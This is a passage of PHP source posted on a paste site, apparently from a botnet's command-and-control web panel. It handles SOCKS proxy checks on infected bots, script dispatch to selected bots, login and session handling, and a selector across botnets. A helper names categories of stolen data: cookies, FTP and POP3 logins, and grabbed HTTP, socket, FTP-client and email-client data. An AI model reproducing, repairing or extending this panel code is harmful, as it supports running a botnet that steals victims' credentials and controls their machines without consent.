  570. str_replace('{ID}', 'st'.$i, THEME_STRING_ID_BEGIN).LNG_BA_PORT_SOCKS_CHECKING.THEME_STRING_ID_END :
  571. LNG_BA_PORT_SOCKS_FAILED
  572. ), $item).
  573. THEME_LIST_ROW_END;
  574. }
  575.  
  576. //Скрипт для проверки соксов.
  577. $ajaxError = addJsSlashes(str_replace('{TEXT}', LNG_BA_PORT_SOCKS_ERROR, THEME_STRING_ERROR));
  578. $ajaxInit = jsXmlHttpRequest('socksHttp');
  579. $q = addJsSlashes(QUERY_SCRIPT.'?botsaction=port_socks&bots[]=0');
  580. $ajax =
  581. <<<JS_SCRIPT
  582. var socksList = [{$jsList}];
  583. var socksHttp = false;
  584.  
  585. function stateChange(i){if(socksHttp.readyState == 4)
  586. {
  587. var el = document.getElementById(socksList[i][0]);
  588. if(socksHttp.status == 200 && socksHttp.responseText.length > 5)el.innerHTML = socksHttp.responseText;
  589. else el.innerHTML = '{$ajaxError}';
  590. SocksCheck(++i);
  591. }}
  592.  
  593. function SocksCheck(i)
  594. {
  595. if(socksHttp)delete socksHttp;
  596. if(i < socksList.length)
  597. {
  598. {$ajaxInit}
  599. if(socksHttp)
  600. {
  601. socksHttp.onreadystatechange = function(){stateChange(i)};
  602. socksHttp.open('GET', '{$q}&ipv4=' + socksList[i][1] + '&port=' + socksList[i][2], true);
  603. socksHttp.send(null);
  604. }
  605. }
  606. }
  607. JS_SCRIPT;
  608.  
  609. themeSmall(LNG_BA_PORT_SOCKS_TITLE, $data.THEME_LIST_END, $ajax, getBotJsMenu('botmenu'), ' onload="SocksCheck(0);"');
  610. }
  611. else if(strcmp($ba, 'newscript') === 0)
  612. {
  613. foreach($blist as $k => $v)if(spaceCharsExist($v))$blist[$k] = '"'.$v.'"';
  614. header('Location: '.QUERY_STRING_BLANK.'botnet_scripts&new=-1&bots='.urlencode(implode(' ', $blist)));
  615. die();
  616. }
  617.  
  618. die();
  619. }
  620.  
  621. ///////////////////////////////////////////////////////////////////////////////////////////////////
  622. // Запуск модуля.
  623. ///////////////////////////////////////////////////////////////////////////////////////////////////
  624.  
  625. //Выбор имени модуля и удаление лишних пунктов меню.
  626. $neededModule = (empty($_GET[QUERY_VAR_MODULE]) ? '' : $_GET[QUERY_VAR_MODULE]);
  627. $curModule = '';
  628.  
  629. optimizeMenu($mainMenu, true);
  630. foreach($mainMenu as $key => $item)if($item[0] !== 0 && (strcmp($neededModule, $item[0]) === 0 || $curModule == ''))$curModule = $item[0];
  631. if($curModule == '')die('Modules for current user not defined.');
  632.  
  633. define('CURRENT_MODULE', $curModule); //Текущий модуль.
  634. define('FORM_CURRENT_MODULE', str_replace(array('{NAME}', '{VALUE}'), array('m', $curModule), THEME_FORM_VALUE)); //Параметр текущего модуля для формы.
  635. define('QUERY_STRING', QUERY_STRING_BLANK.CURRENT_MODULE); //Строка запроса для текущего модуля.
  636. define('QUERY_STRING_HTML', QUERY_STRING_BLANK_HTML.CURRENT_MODULE); //Строка запроса для текущего модуля в HTML формате.
  637. unset($neededModule, $curModule);
  638.  
  639. //Загрузка языка модуля.
  640. if(!file_exists('system/'.CURRENT_MODULE.'.lng.'.$userData['language'].'.php'))$userData['language'] = DEFAULT_LANGUAGE;
  641. require_once('system/'.CURRENT_MODULE.'.lng.'.$userData['language'].'.php');
  642.  
  643. //Запуск модуля.
  644. require_once('system/'.CURRENT_MODULE.'.php');
  645. die();
  646.  
  647. ///////////////////////////////////////////////////////////////////////////////////////////////////
  648. // Функции.
  649. ///////////////////////////////////////////////////////////////////////////////////////////////////
  650.  
  651. /*
  652. Получение ошибки MySQL с формотированием HTML и префиксом.
  653.  
  654. Return - string, ошибка MySQL.
  655. */
  656. function mysqlErrorEx()
  657. {
  658. return 'MySQL error: '.htmlEntitiesEx(mysql_error());
  659. }
  660.  
  661. /*
  662. Создание временного файла.
  663.  
  664. IN $prefix - string, префикс файла.
  665.  
  666. Return - mixed, имя нового временного файла или false в случае неудачи.
  667. */
  668. function createTempFile($prefix)
  669. {
  670. @mkdir('tmp', 0777);
  671. return @tempnam('tmp', $prefix);
  672. }
  673.  
  674. /*
  675. Добавление заголовков для загрузки данных в виде файла.
  676.  
  677. IN $name - string, конечное имя файла.
  678. IN $size - размер файла.
  679. */
  680. function httpDownloadHeaders($name, $size)
  681. {
  682. header('Content-Type: application/octet-stream');
  683. header('Content-Disposition: attachment; filename='.baseNameEx($name));
  684. header('Content-Transfer-Encoding: binary');
  685. header('Content-Length: '.$size);
  686. httpNoCacheHeaders();
  687. }
  688.  
  689. /*
  690. Преобразование BLT_* в строку.
  691.  
  692. IN $type - int, BLT_* для преобразование.
  693.  
  694. Return - string, строкове представление BLT_*.
  695. */
  696. function bltToLng($type)
  697. {
  698. switch($type)
  699. {
  700. case BLT_COOKIES: return LNG_BLT_COOKIES;
  701. case BLT_FILE: return LNG_BLT_FILE;
  702. case BLT_HTTP_REQUEST: return LNG_BLT_HTTP_REQUEST;
  703. case BLT_HTTPS_REQUEST: return LNG_BLT_HTTPS_REQUEST;
  704. case BLT_LOGIN_FTP: return LNG_BLT_LOGIN_FTP;
  705. case BLT_LOGIN_POP3: return LNG_BLT_LOGIN_POP3;
  706. case BLT_GRABBED_UI: return LNG_BLT_GRABBED_UI;
  707. case BLT_GRABBED_HTTP: return LNG_BLT_GRABBED_HTTP;
  708. case BLT_GRABBED_WSOCKET: return LNG_BLT_GRABBED_WSOCKET;
  709. case BLT_GRABBED_FTPSOFTWARE: return LNG_BLT_GRABBED_FTPSOFTWARE;
  710. case BLT_GRABBED_EMAILSOFTWARE: return LNG_BLT_GRABBED_EMAILSOFTWARE;
  711. case BLT_GRABBED_OTHER: return LNG_BLT_GRABBED_OTHER;
  712. }
  713. return LNG_BLT_UNKNOWN;
  714. }
  715.  
  716. /*
  717. Определяет сущетвуют ли, пробельные символы в строке.
  718.  
  719. IN $str - string, строка для проверки.
  720.  
  721. Return - true - если пробельные символы сущетвуют,
  722. false - если пробельные символы не сущетвуют.
  723. */
  724. function spaceCharsExist($str)
  725. {
  726. return strpbrk($str, "\x20\x09\x0A\x0B\x0D") === false ? false : true;
  727. }
  728.  
  729. /*
  730. Преобразование логического выражения в массив.
  731.  
  732. IN $exp - string, выражение.
  733.  
  734. Return - array, результат.
  735. */
  736. function expressionToArray($exp)
  737. {
  738. $list = array();
  739. $len = strlen($exp);
  740.  
  741. for($i = 0; $i < $len; $i++)
  742. {
  743. $cur = ord($exp[$i]);
  744.  
  745. //Пропускаем пробелные символы.
  746. if($cur == 0x20 || ($cur >= 0x9 && $cur <= 0xD))continue;
  747.  
  748. //Проверяем ковычку.
  749. if($cur == 0x22 || $cur == 0x27)
  750. {
  751. for($j = $i + 1; $j < $len; $j++)if(ord($exp[$j]) == $cur)
  752. {
  753. //Подсчитываем количество слешей.
  754. $c = 0;
  755. for($k = $j - 1; ord($exp[$k]) == 0x5C; $k--)$c++;
  756. if($c % 2 == 0)break; //При четном количестве слешей до ковычки, наша ковычка это не спец. символ.
  757. }
  758. if($j != $len)$i++; //Если не достигнут конец, убираем первую ковычку.
  759.  
  760. $type = 1;
  761. }
  762. //Простое копирование до первого пробела.
  763. else
  764. {
  765. for($j = $i + 1; $j < $len; $j++)
  766. {
  767. $cur = ord($exp[$j]);
  768. if($cur == 0x20 || ($cur >= 0x9 && $cur <= 0xD))break;
  769. }
  770.  
  771. $type = 0;
  772. }
  773.  
  774. $list[] = array(substr($exp, $i, $j - $i), $type);
  775. $i = $j;
  776. }
  777.  
  778. return $list;
  779. }
  780.  
  781. /*
  782. Сравнение строки с логическим выражением.
  783.  
  784. IN $str - string, строка.
  785. IN $exp - string, выражение.
  786. IN $cs - bool, если true, то учетом регистра(BINARY), иначе без учета регистра.
  787. IN $strong - bool, см. код.
  788.  
  789. Return - true - если строка подходит для выражения,
  790. false - в противном случаи.
  791. */
  792.  
  793. function matchStringInExpression($str, $exp, $cs, $strong)
  794. {
  795. $exp = trim($exp);
  796. if($exp == '' || $exp == '*')return true;
  797.  
  798. $list = expressionToArray($exp);
  799.  
  800. //Настройка pcre.
  801. $pcrePrefix = ($strong ? '#^' : '#');
  802. $pcrePostfix = ($strong ? '$#' : '#').($cs ? 'u' : 'iu');
  803.  
  804. //Обрабатыаем результат.
  805. $qPrev = $q_cur = 0;
  806. $retVal = false;
  807.  
  808. foreach($list as $item)
  809. {
  810. if($item[1] == 0)
  811. {
  812. $skip = 0;
  813. if(strcmp($item[0], 'OR') === 0)$q_cur = 0;
  814. else if(strcmp($item[0], 'AND') === 0)$q_cur = 1;
  815. else if(strcmp($item[0], 'NOT') === 0)$q_cur = 2;
  816. else $skip = 1;
  817. if($skip == 0){$qPrev = $q_cur; continue;}
  818. }
  819.  
  820. //Сравниваем.
  821. $r = preg_match($pcrePrefix.strtr(preg_quote($item[0], '#'), array('\\*' => '.*', '\\?' => '.?')).$pcrePostfix, $str);
  822.  
  823. //Не уверен за логику.
  824. switch($q_cur)
  825. {
  826. case 0: //OR
  827. if($r > 0)$retVal = true;
  828. break;
  829.  
  830. case 1: //AND
  831. if($r > 0)break;
  832. return false;
  833.  
  834. case 2: //NOT
  835. if($r > 0)return false;
  836. break;
  837. }
  838. }
  839.  
  840. return $retVal;
  841. }
  842.  
  843. /*
  844. Преобразование логическим выражения в SQL запрос для WHERE.
  845.  
  846. IN $exp - string, выражение.
  847. IN $column - string, название столбца.
  848. IN $cs - bool, если true, то учетом регистра, иначе без учета регистра.
  849. IN $strong - bool, см. код.
  850.  
  851. Return - string, запрос.
  852. */
  853. function expressionToSql($exp, $column, $cs, $strong)
  854. {
  855. $exp = trim($exp);
  856. if($exp == '' || $exp == '*')return '';
  857.  
  858. $list = expressionToArray($exp);
  859.  
  860. //Обрабатыаем результат.
  861. $query = '';
  862. $qPrev = $q_cur = ' OR ';
  863. $qAddv = ' ';
  864.  
  865. foreach($list as $item)
  866. {
  867. if($item[1] == 0)
  868. {
  869. $skip = 0;
  870. if(strcmp($item[0], 'OR') === 0) {$q_cur = ' OR '; $qAddv = ' ';}
  871. else if(strcmp($item[0], 'AND') === 0){$q_cur = ' AND '; $qAddv = ' ';}
  872. else if(strcmp($item[0], 'NOT') === 0){$q_cur = ' AND '; $qAddv = ' NOT ';}
  873. else $skip = 1;
  874.  
  875. if($skip == 0)
  876. {
  877. if($q_cur != $qPrev && !empty($query))$query = '('.$query.')';
  878. $qPrev = $q_cur;
  879. continue;
  880. }
  881. }
  882.  
  883. $s = str_replace(array('%', '_'), array('\\\\%', '\\\\_'), $item[0]);
  884.  
  885. //Подменяем симолы *, ?.
  886. $len = strlen($s);
  887. for($i = 0; $i < $len; $i++)if(($c = ord($s[$i])) == 0x2A || $c == 0x3F)
  888. {
  889. //Подсчитываем количество слешей.
  890. $cc = 0;
  891. for($k = $i - 1; $k >= 0 && ord($s[$k]) == 0x5C; $k--)$cc++;
  892.  
  893. //Подменяем.
  894. if($cc % 2 == 0)$s[$i] = $c == 0x2A ? '%' : '_';
  895. }
  896.  
  897. $s = stripslashes($s);
  898. if(!$strong)$s = '%'.$s.'%';
  899. $query .= (empty($query) ? '' : $q_cur).$column.$qAddv.'LIKE'.($cs ? ' BINARY' : '').' \''.addslashes($s).'\'';
  900. }
  901.  
  902. return '('.$query.')';
  903. }
  904.  
  905. /*
  906. Проверяет, является ли путь безопасным (отсутвие символов '\', '/', '\0').
  907.  
  908. IN $str - string, строка для проверки.
  909.  
  910. Return - bool, true - если пусть безопасный, false - если путь не безопасный.
  911. */
  912. function safePath($str)
  913. {
  914. return (strpos($str, "/") === false && strpos($str, "\\") === false && strpos($str, "\0") === false);
  915. }
  916.  
  917. /*
  918. Вывод форму логина.
  919.  
  920. IN $showError - bool, выводить ли сообшение о неверном имени/пароле.
  921. */
  922. function showLoginForm($showError)
  923. {
  924. $page = $showError ? THEME_STRING_FORM_ERROR_1_BEGIN.'Bad user name or password.'.THEME_STRING_FORM_ERROR_1_END : '';
  925. $page .=
  926. str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('login', QUERY_STRING_BLANK_HTML.'login', ''), THEME_FORMPOST_BEGIN).
  927. str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN).
  928. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Login'), THEME_DIALOG_TITLE).
  929. THEME_DIALOG_ROW_BEGIN.
  930. str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN).
  931. THEME_DIALOG_ROW_BEGIN.
  932. str_replace('{TEXT}', 'User name:', THEME_DIALOG_ITEM_TEXT).
  933. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array('', 'user', '255', '200px'), THEME_DIALOG_ITEM_INPUT_TEXT).
  934. THEME_DIALOG_ROW_END.
  935. THEME_DIALOG_ROW_BEGIN.
  936. str_replace('{TEXT}', 'Password:', THEME_DIALOG_ITEM_TEXT).
  937. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array('', 'pass', '255', '200px'), THEME_DIALOG_ITEM_INPUT_PASS).
  938. THEME_DIALOG_ROW_END.
  939. THEME_DIALOG_ROW_BEGIN.
  940. THEME_DIALOG_ITEM_EMPTY.
  941. str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'remember', '', 'Remember (MD5 cookies)'), THEME_DIALOG_ITEM_INPUT_CHECKBOX_2).
  942. THEME_DIALOG_ROW_END.
  943. THEME_DIALOG_GROUP_END.
  944. THEME_DIALOG_ROW_END.
  945. str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN).
  946. str_replace(array('{TEXT}', '{JS_EVENTS}'), array('Submit', ''), THEME_DIALOG_ITEM_ACTION_SUBMIT).
  947. THEME_DIALOG_ACTIONLIST_END.
  948. THEME_DIALOG_END;
  949.  
  950. themeSmall('login', $page.THEME_FORMPOST_END, 0, 0, 0);
  951. }
  952.  
  953. /*
  954. Создание списка доступных ботнетов в THEME_DIALOG_ITEM_LISTBOX.
  955.  
  956. IN $currentBotnet - string, имя текущего ботнета или '', если ботнет не определен.
  957. IN $advQuery - дополнительные данные в HTTP-запросе смены ботнета.
  958.  
  959. Return - string, ListBox с именем 'botnet' и кнопкой смены ботнета.
  960. */
  961. function botnetsToListBox($currentBotnet, $advQuery)
  962. {
  963. $advQuery = htmlEntitiesEx($advQuery);
  964. $botnets = str_replace(array('{NAME}', '{WIDTH}'), array('botnet', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN).str_replace(array('{VALUE}', '{TEXT}'), array('', LNG_BOTNET_ALL), THEME_DIALOG_ITEM_LISTBOX_ITEM);
  965. if(($r = mysqlQueryEx('botnet_list', 'SELECT DISTINCT `botnet` FROM `botnet_list`')))while(($m = @mysql_fetch_row($r)))if($m[0] != '')
  966. {
  967. $botnets .= str_replace(array('{VALUE}', '{TEXT}'),
  968. array(htmlEntitiesEx(urlencode($m[0])), htmlEntitiesEx(mb_substr($m[0], 0, BOTNET_MAX_CHARS))),
  969. strcmp($currentBotnet, $m[0]) === 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM);
  970. }
  971. $botnets .=
  972. THEME_DIALOG_ITEM_LISTBOX_END.THEME_STRING_SPACE.
  973. str_replace(array('{TEXT}', '{JS_EVENTS}'),
  974. array(LNG_BOTNET_APPLY, ' onclick="var botnet = document.getElementById(\'botnet\'); window.location=\''.QUERY_STRING_HTML.$advQuery.'&amp;botnet=\' + botnet.options[botnet.selectedIndex].value;"'),
  975. THEME_DIALOG_ITEM_ACTION);
  976. return $botnets;
  977. }
  978.  
  979. /*
  980. Создание таблицы со списокм номеров страниц.
  981.  
  982. IN $totalPages - int, количетсво страниц.
  983. IN $currentPage - int, текущая страница.
  984. IN $js - string, JavaScript для события onclick, где {P} - номер страницы.
  985.  
  986. Return - string, список страниц.
  987. */
  988. function showPageList($totalPages, $currentPage, $js)
  989. {
  990. $list = array();
  991. $visiblePages = 5; //Радиус видимых страниц.
  992.  
  993. //Подсчитываем видимые страницы.
  994. $minVisible = $currentPage - $visiblePages;
  995. $maxVisible = $currentPage + $visiblePages;
  996.  
  997. if($minVisible < 1) $maxVisible -= $minVisible - 1; //!Увеличиваем на чисило <1
  998. else if($maxVisible > $totalPages)$minVisible -= ($maxVisible - $totalPages); //Уменьшаем на число вышедшее за $totalPages.
  999.  
  1000. $qMin = false;
  1001. $qMax = false;
  1002.  
  1003. for($i = 1; $i <= $totalPages; $i++)
  1004. {
  1005. //Текщая страница.
  1006. if($i == $currentPage)$list[] = array($i, 0);
  1007. else
  1008. {
  1009. //Невидимые страницы.
  1010. if($i != 1 && $i != $totalPages && ($i < $minVisible || $i > $maxVisible))
  1011. {
  1012. if($i < $minVisible && $qMin == false)
  1013. {
  1014. $list[] = array(0, 0);
  1015. $qMin = true;
  1016. }
  1017. else if($i > $maxVisible && $qMax == false)
  1018. {
  1019. $list[] = array(0, 0);
  1020. $qMax = true;
  1021. }
  1022. }
  1023. //Видимые страницы.
  1024. else $list[] = array($i, str_replace('{P}', $i, $js));
  1025. }
  1026. }
  1027.  
  1028. return themePageList($list,
  1029. $currentPage > 1 ? str_replace('{P}', 1, $js) : 0,
  1030. $currentPage > 1 ? str_replace('{P}', $currentPage - 1, $js) : 0,
  1031. $currentPage < $totalPages ? str_replace('{P}', $totalPages, $js) : 0,
  1032. $currentPage < $totalPages ? str_replace('{P}', $currentPage + 1, $js) : 0
  1033. );
  1034. }
  1035.  
  1036. /*
  1037. Создание пунктов меню для JavaScript из $botMenu.
  1038.  
  1039. IN $name - string, имя меню.
  1040.  
  1041. Return - string, переменная JavaScript с соедржимым меню.
  1042. */
  1043. function getBotJsMenu($name)
  1044. {
  1045. $output = '';
  1046. $i = 0;
  1047.  
  1048. foreach($GLOBALS['botMenu'] as &$item)
  1049. {
  1050. if($i++ != 0)$output .= ', ';
  1051. if($item[0] === 0)$output .= '[0]';
  1052. else $output .= '[\''.addJsSlashes(htmlEntitiesEx($item[1])).'\', \''.addJsSlashes(QUERY_SCRIPT_HTML.'?botsaction='.htmlEntitiesEx(urlencode($item[0])).'&amp;bots[]=$0$').'\']';
  1053. }
  1054.  
  1055. return 'var '.$name.' = ['.$output.'];';
  1056. }
  1057.  
  1058. /*
  1059. Создание попап меню для бота.
  1060.  
  1061. IN $botId - string, бот ID. Применять htmlEntitiesEx или urlencode нельзя.
  1062. IN $menuName - string, название меню. Проще говоря имя перменной в JavaScript созданной через getBotJsMenu.
  1063.  
  1064. Return - string, попап меню
  1065. */
  1066.  
  1067. function botPopupMenu($botId, $menuName)
  1068. {
  1069. if(!isset($GLOBALS['_next_bot_popupmenu__']))$GLOBALS['_next_bot_popupmenu__'] = 100;
  1070. return str_replace(array('{ID}', '{MENU_NAME}', '{BOTID_FOR_URL}', '{BOTID}'),
  1071. array($GLOBALS['_next_bot_popupmenu__']++, $menuName, htmlEntitiesEx(urlencode($botId)), htmlEntitiesEx($botId)),
  1072. THEME_POPUPMENU_BOT);
  1073. }
  1074.  
  1075. /*
  1076. Создние заголовка колонки, полежащей сортировке.
  1077.  
  1078. IN $text - string, название колонки.
  1079. IN $columnId - int, ID колонки.
  1080. IN $num - bool, true - колонка служит для вывода чисел, false - колонка служит для вывода текста.
  1081.  
  1082. Retrurn - string, колонка.
  1083. */
  1084. function writeSortColumn($text, $columnId, $num)
  1085. {
  1086. if($num)$theme = $GLOBALS['_sortColumnId'] == $columnId ? ($GLOBALS['_sortOrder'] == 0 ? THEME_LIST_HEADER_R_SORT_CUR_ASC : THEME_LIST_HEADER_R_SORT_CUR_DESC) : THEME_LIST_HEADER_R_SORT;
  1087. else $theme = $GLOBALS['_sortColumnId'] == $columnId ? ($GLOBALS['_sortOrder'] == 0 ? THEME_LIST_HEADER_L_SORT_CUR_ASC : THEME_LIST_HEADER_L_SORT_CUR_DESC) : THEME_LIST_HEADER_L_SORT;
  1088.  
  1089. return str_replace(
  1090. array('{COLUMNS_COUNT}', '{URL}', '{JS_EVENTS}', '{TEXT}', '{WIDTH}'),
  1091. array(1, '#', ' onclick="return setSortMode('.$columnId.', '.($GLOBALS['_sortColumnId'] == $columnId ? ($GLOBALS['_sortOrder'] == 0 ? 1 : 0) : $GLOBALS['_sortOrder']).')"', $text, 'auto'),
  1092. $theme
  1093. );
  1094. }
  1095.  
  1096. /*
  1097. JS код для смены сортировки.
  1098.  
  1099. IN $url - string, url.
  1100.  
  1101. Retutn - string, js-код.
  1102. */
  1103. function jsSetSortMode($url)
  1104. {
  1105. return "function setSortMode(mode, ord){window.location='{$url}&smode=' + mode +'&sord=' + ord; return false;}\r\n";
  1106. }
  1107.  
  1108. /*
  1109. Код для JS для инициализации XMLHttpRequest.
  1110.  
  1111. IN $var - string, название перменной для объекта.
  1112.  
  1113. Retutn - string, js-код.
  1114. */
  1115. function jsXmlHttpRequest($var)
  1116. {
  1117. return
  1118. "try{{$var} = new ActiveXObject('Msxml2.XMLHTTP');}".
  1119. "catch(e1)".
  1120. "{".
  1121. "try{{$var} = new ActiveXObject('Microsoft.XMLHTTP');}".
  1122. "catch(e2){{$var} = false;}".
  1123. "}".
  1124. "if(!{$var} && typeof XMLHttpRequest != 'undefined'){{$var} = new XMLHttpRequest();}".
  1125. "if(!{$var})alert('ERROR: Failed to create XMLHttpRequest.');";
  1126. }
  1127.  
  1128. /*
  1129. JS код для массового управления метакми типа checkbox.
  1130.  
  1131. IN $form - string, название формы для обработки.
  1132. IN $cb - string, главный checkbox.
  1133. IN $cb - string, название зависимых checkbox'ов.
  1134.  
  1135. Retutn - string, js-код.
  1136. */
  1137. function jsCheckAll($form, $cb, $arr)
  1138. {
  1139. return
  1140. "function checkAll(){".
  1141. "var bl = document.forms.namedItem('{$form}').elements;".
  1142. "var ns = bl.namedItem('{$cb}').checked;".
  1143. "for(var i = 0; i < bl.length; i++)if(bl.item(i).name == '{$arr}')bl.item(i).checked = ns;".
  1144. "}\r\n";
  1145. }
  1146.  
  1147. /*
  1148. Получает режим сортировки из GET-запроса.
  1149.  
  1150. IN $sm - array, список досутпных сортировок.
  1151.  
  1152. Return - string, коцовка URL для текущей стортировки.
  1153. */
  1154. function assocateSortMode($sm)
  1155. {
  1156. $GLOBALS['_sortColumn'] = $sm[0]; //Колонка
  1157. $GLOBALS['_sortColumnId'] = 0; //ID колонки.
  1158. $GLOBALS['_sortOrder'] = 0; //Направление, 0 = ASC, 1 = DESC
  1159.  
  1160. if(!empty($_GET['smode']) && is_numeric($_GET['smode']))
  1161. {
  1162. if(isset($sm[$_GET['smode']]))
  1163. {
  1164. $GLOBALS['_sortColumn'] = $sm[$_GET['smode']];
  1165. $GLOBALS['_sortColumnId'] = intval($_GET['smode']);
  1166. }
  1167. }
  1168.  
  1169. if(!empty($_GET['sord']) && is_numeric($_GET['sord']))$GLOBALS['_sortOrder'] = $_GET['sord'] == 1 ? 1 : 0;
  1170.  
  1171. if($GLOBALS['_sortColumnId'] !== 0 || $GLOBALS['_sortOrder'] !== 0)return '&smode='.$GLOBALS['_sortColumnId'].'&sord='.$GLOBALS['_sortOrder'];
  1172. return '';
  1173. }
  1174.  
  1175. /*
  1176. Добавление данных текущей сортировки в форму.
  1177. */
  1178. function addSortModeToForm()
  1179. {
  1180. return str_replace(array('{NAME}', '{VALUE}'), array('smode', $GLOBALS['_sortColumnId']), THEME_FORM_VALUE).
  1181. str_replace(array('{NAME}', '{VALUE}'), array('sord', $GLOBALS['_sortOrder']), THEME_FORM_VALUE);
  1182. }
  1183.  
  1184. /*
  1185. Получение списка всех директорий.
  1186.  
  1187. IN $path - string, путь для поиска.
  1188.  
  1189. Return - array, список диреторий,
  1190. или false в случаи ошибки.
  1191. */
  1192. function getDirs($path)
  1193. {
  1194. $r = array();
  1195. if(($dh = @opendir($path)) === false)return false;
  1196. else
  1197. {
  1198. while(($file = @readdir($dh)) !== false)if(strcmp($file, '.') !== 0 && strcmp($file, '..') !== 0 && @is_dir($path.'/'.$file))$r[] = $file;
  1199. @closedir($dh);
  1200. }
  1201.  
  1202. return $r;
  1203. }
  1204.  
  1205. /*
  1206. Удаление файлов и папок.
  1207.  
  1208. IN $path - string, полный путь.
  1209.  
  1210. Return - true - если путь успешно удален,
  1211. false - в случаи ошибки.
  1212. */
  1213. function clearPath($path)
  1214. {
  1215. @chmod($path, 0777);
  1216.  
  1217. if(@is_dir($path))
  1218. {
  1219. if(($dh = @opendir($path)) !== false)
  1220. {
  1221. while(($file = readdir($dh)) !== false)if(strcmp($file, '.') !== 0 && strcmp($file, '..') !== 0)
  1222. {
  1223. if(!clearPath($path.'/'.$file))return false;
  1224. }
  1225. @closedir($dh);
  1226. }
  1227. if(!@rmdir($path))return false;
  1228. }
  1229. else if(is_file($path))
  1230. {
  1231. if(!@unlink($path))return false;
  1232. }
  1233.  
  1234. return true;
  1235. }
  1236.  
  1237. /*
  1238. Отимизирует меню, удаляя из него запрешенные пункты.
  1239.  
  1240. IN OUT $menu - array, меню для обработки.
  1241. IN $saveFSep - bool, сохранить верхнии разделители.
  1242. */
  1243. function optimizeMenu(&$menu, $saveFSep)
  1244. {
  1245. foreach($menu as $key => $item)foreach($item[2] as $r)if(empty($GLOBALS['userData'][$r])){unset($menu[$key]); break;}
  1246.  
  1247. //Удаляем лишнии разделители.
  1248. $sep = -1;
  1249. $i = 0;
  1250. foreach($menu as $key => $item)
  1251. {
  1252. if($item[0] === 0)
  1253. {
  1254. if($i == 0 && !$saveFSep)unset($menu[$key]);
  1255. else if($sep !== -1)unset($menu[$sep]);
  1256. $sep = $key;
  1257. }
  1258. else
  1259. {
  1260. $sep = -1;
  1261. $i++;
  1262. }
  1263. }
  1264.  
  1265. if($sep !== -1)unset($menu[$sep]);
  1266. }
  1267.  
  1268. /*
  1269. Преоброзование бинарного IP в текстовый.
  1270.  
  1271. IN $ip - string, бинарный IP.
  1272.  
  1273. Return - string, текстовый IP.
  1274. */
  1275. function binaryIpToString($ip)
  1276. {
  1277. $ip = @unpack('N', $ip);
  1278. return @long2ip($ip[1]);
  1279. }
  1280.  
  1281. //////////////////////////////////////////////////////////////////////////////////////////////////
  1282. // Управление сессией.
  1283. ///////////////////////////////////////////////////////////////////////////////////////////////////
  1284.  
  1285. /*
  1286. Захват сессии
  1287. */
  1288. function lockSession()
  1289. {
  1290. if($GLOBALS['_sessionRef'] == 0)
  1291. {
  1292. @session_set_cookie_params(SESSION_LIVETIME, CP_HTTP_ROOT);
  1293. @session_name(COOKIE_SESSION);
  1294. @session_start();
  1295. }
  1296. $GLOBALS['_sessionRef']++;
  1297. }
  1298.  
  1299. /*
  1300. Освобождение сессии
  1301. */
  1302. function unlockSession()
  1303. {
  1304. if($GLOBALS['_sessionRef'] > 0 && --$GLOBALS['_sessionRef'] == 0)session_write_close();
  1305. }
  1306.  
  1307. /*
  1308. Уничтожение сессии
  1309. */
  1310. function unlockSessionAndDestroyAllCokies()
  1311. {
  1312. $GLOBALS['_sessionRef'] = 0;
  1313. if(isset($_SESSION))foreach($_SESSION as $k => $v)unset($_SESSION[$k]);
  1314. @session_unset();
  1315. @session_destroy();
  1316.  
  1317. @setcookie(COOKIE_SESSION, '', 0, CP_HTTP_ROOT);
  1318. @setcookie(COOKIE_USER, '', 0, CP_HTTP_ROOT);
  1319. @setcookie(COOKIE_PASS, '', 0, CP_HTTP_ROOT);
  1320. }
  1321. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement